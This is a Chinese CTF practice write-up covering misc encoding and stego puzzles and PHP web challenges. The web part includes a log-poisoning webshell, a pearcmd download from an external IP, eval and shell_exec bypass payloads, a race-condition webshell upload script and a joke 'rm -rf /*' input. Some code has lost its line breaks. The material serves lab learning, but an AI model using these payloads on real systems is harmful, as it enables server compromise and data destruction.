记录一下前半部分是能自己写出来的,后半部分是需要提示的,感觉自己归来两年仍是萌新


misc部分

知识点

base家族密文特征

  1. Base16 (Hex)
  • 字符集:0-9, A-F(不区分大小写)。
  • 特征:
    • 长度是 2 的倍数(每字节对应 2 个字符)。
    • 无填充字符。
    • 示例:48656C6C6F("Hello")。

  1. Base32
  • 标准字符集:A-Z, 2-7(RFC 4648)。
  • 特征:
    • 长度通常是 8 的倍数(填充符 = 补全)。
    • 忽略大小写(部分变种如 Crockford's Base32 允许小写)。
    • 示例:JBSWY3DP("Hello")或 JBSWY3DPEBLW64TMMQ======(带填充)。

变种:

  • Base32Hex:使用 0-9, A-V(无填充)。
  • Crockford's Base32:允许小写,去除 I,L,O,U 避免混淆。

  1. Base64
  • 标准字符集:A-Z, a-z, 0-9, +, /(填充符 =)。
  • 特征:
    • 长度是 4 的倍数(不足时用 = 填充)。
    • 常见于加密数据、图片编码(如 data:image/png;base64,...)。
    • 示例:SGVsbG8=("Hello")。

变种:

  • URL-safe Base64:替换 +/-_,省略填充。
  • MIME Base64:允许换行符。

  1. Base85 (Ascii85)
  • 字符集:!-u(ASCII 33-117)。
  • 特征:
    • 长度可变,通常以 ~> 结尾(Adobe 变种)。
    • 无固定填充,可能包含空格或换行。
    • 示例:<~87cURDZ~>("Hello")。

变种:

  • Z85:用于 ZeroMQ,字符集为 0-9, a-z, A-Z, ., -, :, +, =, ^, !, /, *, ?, &, <, >, (, ), [, ], {, }, @, %, $, #

  1. Base58
  • 字符集:去除了易混淆字符(如 0, O, I, l, +, /)。
  • 特征:
    • 无填充,长度可变。
    • 用于比特币地址(1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa)。
    • 示例:JxF12TrwUP45BMd

  1. Base91
  • 字符集:A-Z, a-z, 0-9, !, #, $, %, &, (, ), *, +, ,, ., /, :, ;, <, =, >, ?, @, [, ], ^, _, , {, |, }, ~`。
  • 特征:
    • 高编码效率(比 Base64 更紧凑)。
    • 示例:fPNKd("Hello")。

  1. Base62
  • 字符集:0-9, A-Z, a-z(无符号)。
  • 特征:
    • 用于短链接生成(如 aBcD12)。
    • 无填充,长度可变。

通用识别技巧

  1. 观察字符集:根据字符范围初步判断类型。
  2. 检查填充符:= 常见于 Base64/Base32。
  3. 长度规律:Base64 长度是 4 的倍数,Base32 是 8 的倍数。
  4. 特殊标记:Base85 可能以 <~ ~> 包裹,Base58 用于加密货币地址。

HTML实体编码特点

  • 格式:&实体名;&#实体编号;(十进制/十六进制)。

字符

实体名

十进制

十六进制

<

&lt;

&#60;

&#x3C;

>

&gt;

&#62;

&#x3E;

&

&amp;

&#38;

&#x26;

"

&quot;

&#34;

&#x22;

空格

&nbsp;

&#160;

&#xA0;

©

&copy;

&#169;

&#xA9;

jphs使用指南(文件加解密)

  • 使用对象:JPEG文件
  • 介绍:对有损压缩JPEG文件进行信息的加密隐藏,探测提取的工具
  • 功能:
    • JPHIDE:将信息文件加密隐藏到JPEG图像

(点击hide,输入两次相同密码,再选择要隐藏的文件)

    • JPSEEK:从用JPHIDE程序加密隐藏得到的JPEG图像中探测并提取到信息文件

(同理,输入密码,提取信息文件)

解题

太简单的就不写了

萌新_密码1

这里用随波逐流解密工具先base混合解码,再栅栏解码就行了

base混合解码得到:KYdf0a3ebd5c4dc160-E{fb63ee0298b8f4d8}

栅栏解码得到:KEY{dffb06a33eeeb0d259c84bd8cf146d08-}

萌新 密码3

这种一看就是摩斯加密了

摩斯解密得到:MORSE_IS_COOL_BUT_BACON_IS_COOLER_MMDDMDMDMMMDDD MDMDDM MMMMM MDDMDM MDDM

这里给出提示要培根解密得到:guowang

记得记得记得大写

萌新 隐写2

这是一道zip的加密题

本来记得自己写过这种题目的笔记的,突然发现自已应该是不小心把存着这个的数据库删了,我咔吧一下哭出来

废话不多说,先判断一下是不是伪加密

两个红框里的分别是数据区和目录区的全局方式位标记,第一个判断是否加密,第二个判断是否伪加密,都由四个数字中的第个数字决定(奇数表示加密,偶数表示未加密

这里应该是真加密了的,所以看看有没有其他信息猜测密码,不然就尝试爆破

这里密码我用ARCHPR这个工具爆破出来了,输入密码解压得到flag{brute_force}

杂项7

图片宽高改写

  1. 直接把高度稍微改大一点
  2. 爆破
# 使用python3爆破png图片的宽高数据
import os
import binascii
import structfor i in range(30000):  # 一般 20000就够wide = struct.pack('>i', i)for j in range(30000):high = struct.pack('>i', j)data = b'\x49\x48\x44\x52' + wide + high + b'\x08\x06\x00\x00\x00'# 因为是 Py3,byte和str型不能直接进行运算,要写把 str写 b'...'。不然把 wide和 high写成 str(...)crc32 = binascii.crc32(data) & 0xffffffffif crc32 == 0x889C2F07:  # 0x889C2F07是这个 png文件头的 CRC校验码,在 21~25byte处print('\n\n', i, j, crc32)  # 0x 后的数字为十六进制中crc位置的代码(winhex左016,13-下一行的0)print(type(data))exit(0)print(i, end=' ')print(hex(1080),",",hex(958))

得到

转换成16进制,填入hex

隐写1

点击下载链接发现不能自动下载,这里的点在于ctr+s自动下载,然后查看hex头发现被更改了,改回来就行了

萌新隐写5

䴀娀圀䜀䌀娀娀䤀一䈀儀圀㘀堀㌀䬀一䘀㈀嘀㘀夀吀嘀䰀㔀㐀圀㘀㌀吀䠀䰀㔀刀䐀䜀䴀匀㜀䘀䔀㴀㴀㴀㴀㴀㴀

给了一串神秘字符,其实最后的重复字符就很像base的=填充字符了

import base64
import binascii
text = "䴀娀圀䜀䌀娀娀䤀一䈀儀圀㘀堀㌀䬀一䘀㈀嘀㘀夀吀嘀䰀㔀㐀圀㘀㌀吀䠀䰀㔀刀䐀䜀䴀匀㜀䘀䔀㴀㴀㴀㴀㴀㴀"
# 尝试转换为原始字节
bytes_data = text.encode('utf-16-be')  # 或 utf-32-be
base64_str = base64.b64encode(bytes_data).decode('ascii')
print(base64_str)

得到

TQBaAFcARwBDAFoAWgBJAE4AQgBRAFcANgBYADMASwBOAEYAMgBWADYAWQBUAFYATAA1ADQAVwA2ADMAVABIAEwANQBSAEQARwBNAFMANwBGAEUAPQA9AD0APQA9AD0A

再两次base64解码得到flag

这道题我借助ai倒是解得很顺畅

萌新隐写6

音频隐写,用audacity看发现摩斯密码解码就行了

看wp

萌新 密码#4

这里给出了一串密文QW8obWdIWF5FKUFSQW5URihKXWZAJmx0OzYiLg==

又提示比base64大的base

然后发现解密出来的都是一串乱码,然后我就有点没招了

看wp之后发现base64解密出来的Ao(mgHX^E)ARAnTF(J]f@&lt;6".,竟然是有用的,不是乱码

包含 HTML 实体编码(&lt; 代表 <)。

把html解码得到Ao(mgHX^E)ARAnTF(J]f@<6",然后再base85解码,得到flag{base_base_base}

总结就是还是要熟悉各个密文的特征。这个html编码确实挺少见的

杂项10

就给了这个,我猜到要眯眼看了,但是我没看出来,太抽象了,一点都没想到是中文,答案是我好喜欢你

杂项11

尝试了很多发现都不对,发现他给了一个jphs的工具

用jphs打开图片之后,选择seek选项并什么都不填,会生成一个二维码,对二维码解码就行了

jphs使用指南附上

萌新_密码2

rdcvbg 2qase3 6tghu7

键盘上这些字母圈起来的位置,这种题之前好像见过,但这次又没想到

web部分

知识点

php绕过

部分对php的版本有要求,具体情况具体分析

 "1000 || 1=1"  //
~~1000//两次取反
0b1111101000//二进制
0x3e8//十六进制
这里主要是绕preg_match()和intval()

MD5 比较绕过

  • 0e 开头哈希:0e215962017 == 0
  • 数组绕过:md5(array()) == null

strcmp 绕过

  • 数组绕过:strcmp($pass, array()) == null

is_numeric 绕过

  • 十六进制:0xdeadbeef
  • 科学计数法:1e10

PHP执行系统外命令函数

exec()
function exec(string $command,array[optional] $output,int[optional] $return_value)

exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果你想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0.

passthru()
function passthru(string $command,int[optional] $return_value)

passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据

system()
function system(string $command,int[optional] $return_value)

system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。

shell_exec()

shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体

<?phpecho `pwd`;
?>

php文件执行绕过

?c=passthru('tac c*')?>
?c=echo $flag?>
?c=echo $_POST[a];       a= cat config.php 

web1-7

都是同类型题目,一步步进阶

按照要求根据上面的知识点说明的方法进行绕过就行

<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){$id = $_GET['id'];if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){die("id error");}# 判断id的值是否大于999if(intval($id) > 999){# id 大于 999 直接退出并返回错误die("id error");}else{# id 小于 999 拼接sql语句$sql = "select * from article where id = $id order by id limit 1 ";echo "执行的sql为:$sql<br>";# 执行sql 语句$result = $conn->query($sql);# 判断有没有查询结果if ($result->num_rows > 0) {# 如果有结果,获取结果对象的值$rowwhile($row = $result->fetch_assoc()) {echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";}}# 关闭数据库连接$conn->close();}}else{highlight_file(__FILE__);
}?>

web9

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){$c = $_GET['c'];if(preg_match("/system|exec|highlight/i",$c)){eval($c);}else{die("cmd error");}
}else{highlight_file(__FILE__);
}
?>

ls查看目录结构,再cat或者

?c=system("tac config.php ");

?c=system("cat config.php ");,再打开控制台

?c=highlight_file('config.php');

看wp

web8

<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){if(isset($_GET['flag'])){$f = $_GET['flag'];if($key===$f){echo $flag;}}
}else{highlight_file(__FILE__);
}?> 

?flag=rm -rf /*

直接删库啊

web17

发现中间件为nginx/1.20.1,他的日志目录为 /var/log/nginx/access.log

传参?c=/var/log/nginx/access.log,并写入一句话木马<?php @eval($_POST['cmd']); ?>

用蚁剑访问url+?c=/var/log/nginx/access.log,同时记得把https的s去掉,访问目录找到flag。

web22

远程文件下载

?c=pearcmd&+download+http://47.111.94.227/1.php

<?php echo "<?php system('ls');?>";?>

<?php echo "<?php system('tac 36d.php');?>";?>

获得百分之百的快乐

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){echo shell_exec($_GET[1]);
}
else{echo "hack!!!";
}
?> 

输入限制得很短,

payload

?1=ls //查看目录,发现文件名很长

?1=>nl //创建一个名为 nl 的文件, >file 表示创建一个空文件

?1=* //* 是通配符,以当前路径下第一个文件名作为命令执行,这里会输出第一个文件内容

原理

直接 ?1=* 可能无效:因为普通文件无法被 Shell 直接执行。利用nl读取文件内容

web23

文件上传条件竞争,脚本爆破

$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){echo "uploads/$new_filename";sleep(1);system("rm -rf ./uploads/*.php");
}
import requests, time, threadingsubaddr = "http://b173724d-6ebb-45dc-b62e-57351e9766fa.challenge.ctf.show/"def newThread(fun, *args):return threading.Thread(target=fun, args=args)def execphp(fname):r = requests.get(subaddr + "uploads/" + fname + ".php")x = r.textif len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:print(x)def check(fname):for i in range(100, 400):# 每个文件名单起一个线程newThread(execphp, fname + str(i)).start()def upload():while True:file_data = {'file': ('anything.php', "<?php system(\"ls -l ../\");?>".encode())}r = requests.post(subaddr + "upload.php", files=file_data)txt = r.textprint("uploaded:", txt)# uploaded: uploads/20230206234351533.php# 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔fname = str(int(txt[8:22]) + 1)# 单起一个线程,爆破下一次upload的文件名 uploaded: uploads/20220818222707124.phpnewThread(check, fname).start()if __name__ == '__main__':upload()
  • 上传Webshell:向目标服务器的upload.php接口上传一个包含PHP代码的文件。
  • 爆破文件名:由于上传后的文件名可能基于时间戳生成,脚本通过时间推算和并发请求来猜测文件名。
  • 执行命令:访问上传成功的Webshell,执行系统命令并输出结果。

发现/flaghere0.txt文件,访问得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/88739.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/88739.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/88739.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年语言处理、大数据与人机交互国际会议(DHCI 2025)

&#x1f310;&#x1f916;&#x1f9e0; 语言处理、大数据与人机交互&#xff1a;探索智能未来 —— DHCI 2025国际会议2025年语言处理、大数据与人机交互国际会议&#xff08;DHCI 2025&#xff09; 将于2025年在中国重庆市召开。这次盛会将汇聚全球顶尖专家、学者及行业领袖…

RIP实验以及核心原理

RIP&#xff08;Routing Information Protocol&#xff0c;路由信息协议&#xff09;是一种内部网关协议&#xff0c;基于距离矢量算法&#xff0c;用于在自治系统内交换路由信息。RIP 核心原理距离矢量算法&#xff1a;RIP 使用跳数作为路径选择的唯一度量标准。每经过一个路由…

基于大数据的电力系统故障诊断技术研究

摘要本文提出了一种创新性的基于大数据技术的电力系统故障诊断方法&#xff0c;该方法通过整合先进的机器学习算法和交互式可视化技术&#xff0c;实现了对电力系统各类故障的智能化识别与深度分析。该系统采用随机森林算法作为核心分类器&#xff0c;构建了高精度的故障分类模…

MySQL 分区功能应用专门实现全方位详解与示例

MySQL 分区功能允许将表的数据分散存储在不同的物理分区中,同时保持逻辑上的单一表结构。下面我将从基础概念到高级应用,全面讲解 MySQL 分区实现。 一、分区核心作用 1. 性能提升 分区剪枝(Partition Pruning):查询时自动跳过不相关的分区,减少数据扫描量 并行处理:不…

汽车功能安全-嵌入式软件测试(软件合格性测试)【目的、验证输入、集成验证要求】11

文章目录1 嵌入式软件测试&#xff08;Testing of the embedded Software&#xff09;2 测试输入3 验证要求和建议3.1 测试环境3.2 测试方法3.2.1 基于需求的测试3.2.2 故障注入测试3.2.3 两种方法的区别与联系总结3.3 测试用例导出方法4 嵌入式软件的测试结果评价5 测试输出物…

【webrtc】gcc当前可用码率1:怎么决策的

【webrtc】当前最大码率是怎么决策的1 看日志,跟踪代码最大码率 是probe的上限 默认值很大 外部设置的较小,调用堆栈 无限大作为默认值 默认是无限大,所以使用预设值 【webrtc】码率设定中的 int64_t 的无限大

UE5 C++计时器

UE5 C计时器 计时器一&#xff1a; .h文件 FTimerHandle TimerHandle_BetweenShot;//定义时间句柄 void StartFire();void EndFire();.cpp文件 #include “TimerManager.h” void ASpaceShip::StartFire() {GetWorldTimerManager().SetTimer(TimerHandle_BetweenShot, this, &a…

【hivesql 已知维度父子关系加工层级表】

这里写自定义目录标题1. 维度表示例1.1清单表1.2层级表2.从清单表加工层级表2.1 注意点2.2 加工方式&#xff08;join&#xff09;2.3 使用函数3.清单表字段加工3.1通过上级编码信息加工级别信息3.2 通过级别信息&#xff0c;加工上级编码信息4.创建维度表的一般注意点1. 维度表…

Ubuntu重装系统后ssh连接不上(遇到 ​​“Unit ssh.service not found“​​ 错误)

重装系统时不知道为什么SSH 服务未安装&#xff0c;以下是解决方案&#xff1a;先检查ssh服务安装没安装 sudo systemctl status ssh # Ubuntu/Debian如果 systemctl 找不到服务&#xff0c;可能是 SSH 未安装&#xff1a;sudo apt update sudo apt install openssh-serve…

2025社交电商新风口:推客小程序的商业逻辑与技术实现

一、推客小程序市场前景与商业价值在当今社交电商蓬勃发展的时代&#xff0c;推客小程序已成为连接商家与消费者的重要桥梁。推客模式结合了社交传播与电商变现的双重优势&#xff0c;通过用户自发分享带来裂变式增长&#xff0c;为商家创造了全新的营销渠道。推客小程序的核心…

Go 单元测试进阶:AI 加持下的高效实践与避坑指南

单元测试的必要性与基础单元测试不仅是保障代码质量的手段&#xff0c;也是优秀的设计工具和文档形式&#xff0c;对软件开发具有重要意义。另一种形式的文档&#xff1a;好的单元测试是一种活文档&#xff0c;能清晰展示代码单元的预期用途和行为&#xff0c;有时比注释更有用…

VScode SSH远程连接Ubuntu(通过SSH密钥对的方式)

我们都知道在VScode上通过SSH插件的方式可以远程连接到虚拟机的Ubuntu系统&#xff0c;这样开发者就可以在Windows下的Vscode编译器下直接远程连接Ubuntu&#xff0c;这种方式是 “用 Windows 的便捷性操作 Linux 的专业性”—— 既保留了Windows系统的易用性和VS Code的强大功…

学术绘图(各种神经网络)

23种神经网络设计&可视化工具汇总 下面做简要罗列&#xff0c;具体请看相关链接 1.draw_convnet Github: https://github.com/gwding/draw_convnet​ star 数量&#xff1a;1.7k​ 这个工具最后一次更新是2018年的时候&#xff0c;一个Python脚本来绘制卷积神经网络的工…

Redis的高可用性与集群架构

Redis的高可用性与集群架构 引言&#xff1a;解释高可用性的重要性及Redis如何实现主从复制&#xff08;Replication&#xff09; 原理&#xff1a;异步复制&#xff0c;主从数据同步配置方法优缺点分析 哨兵模式&#xff08;Sentinel&#xff09; 功能&#xff1a;监控、通知、…

TCP的连接

TCP 三次握手过程是怎样的&#xff1f;TCP 是面向连接的协议&#xff0c;所以使用 TCP 前必须先建立连接&#xff0c;而建立连接是通过三次握手来进行的。三次握手的过程如下图&#xff1a;一开始&#xff0c;客户端和服务端都处于 CLOSE 状态。先是服务端主动监听某个端口&…

Excel的学习

一、熟悉界面 1.功能区 点击“视图”,点击冻结窗格,选择目标行 2.表格区 3.自定义功能区 在上面的空白编辑栏处,右键选择自定义功能区 4.数据输入规范 (1)格式不统一(日期格式不规范,姓名乱加空格,乱合并单元格) 姓名对齐:右键选择编辑单元格格式,选择对齐,…

论文阅读:HybridTrack: A Hybrid Approach for Robust Multi-Object Tracking

论文地址:2501.01275v2 代码地址:GitHub - leandro-svg/HybridTrack: [RA-L25/ICRA26] HybridTrack: A Hybrid Approach for Robust Multi-Object Tracking 前言 多目标跟踪旨在在帧间检测和关联所有所需的目标。大多数方法通过明确或隐式地利用强大的线索(即空间和外观信…

EtherCAT开源主站 SOEM 2.0 最新源码在嵌入式 Linux 下的移植与编译

EtherCAT 作为工业自动化领域的主流现场总线协议&#xff0c;因其高实时性和高带宽被广泛应用。而 SOEM&#xff08;Simple Open EtherCAT Master&#xff09;则是开源社区中最受欢迎的 EtherCAT 主站协议栈之一。本文将以 SOEM 2.0 最新源码为例&#xff0c;详细介绍其在嵌入式…

面试150 填充每个节点的下一个右侧节点指针Ⅱ

思路 采用层序遍历的方式来连接二叉树中同一层的节点。首先将根节点加入队列&#xff0c;然后按层处理节点&#xff1a;每一层依次从队列中取出节点&#xff0c;并将其 next 指针指向该层中的下一个节点&#xff08;即队列中的下一个节点&#xff09;&#xff1b;若是该层最后一…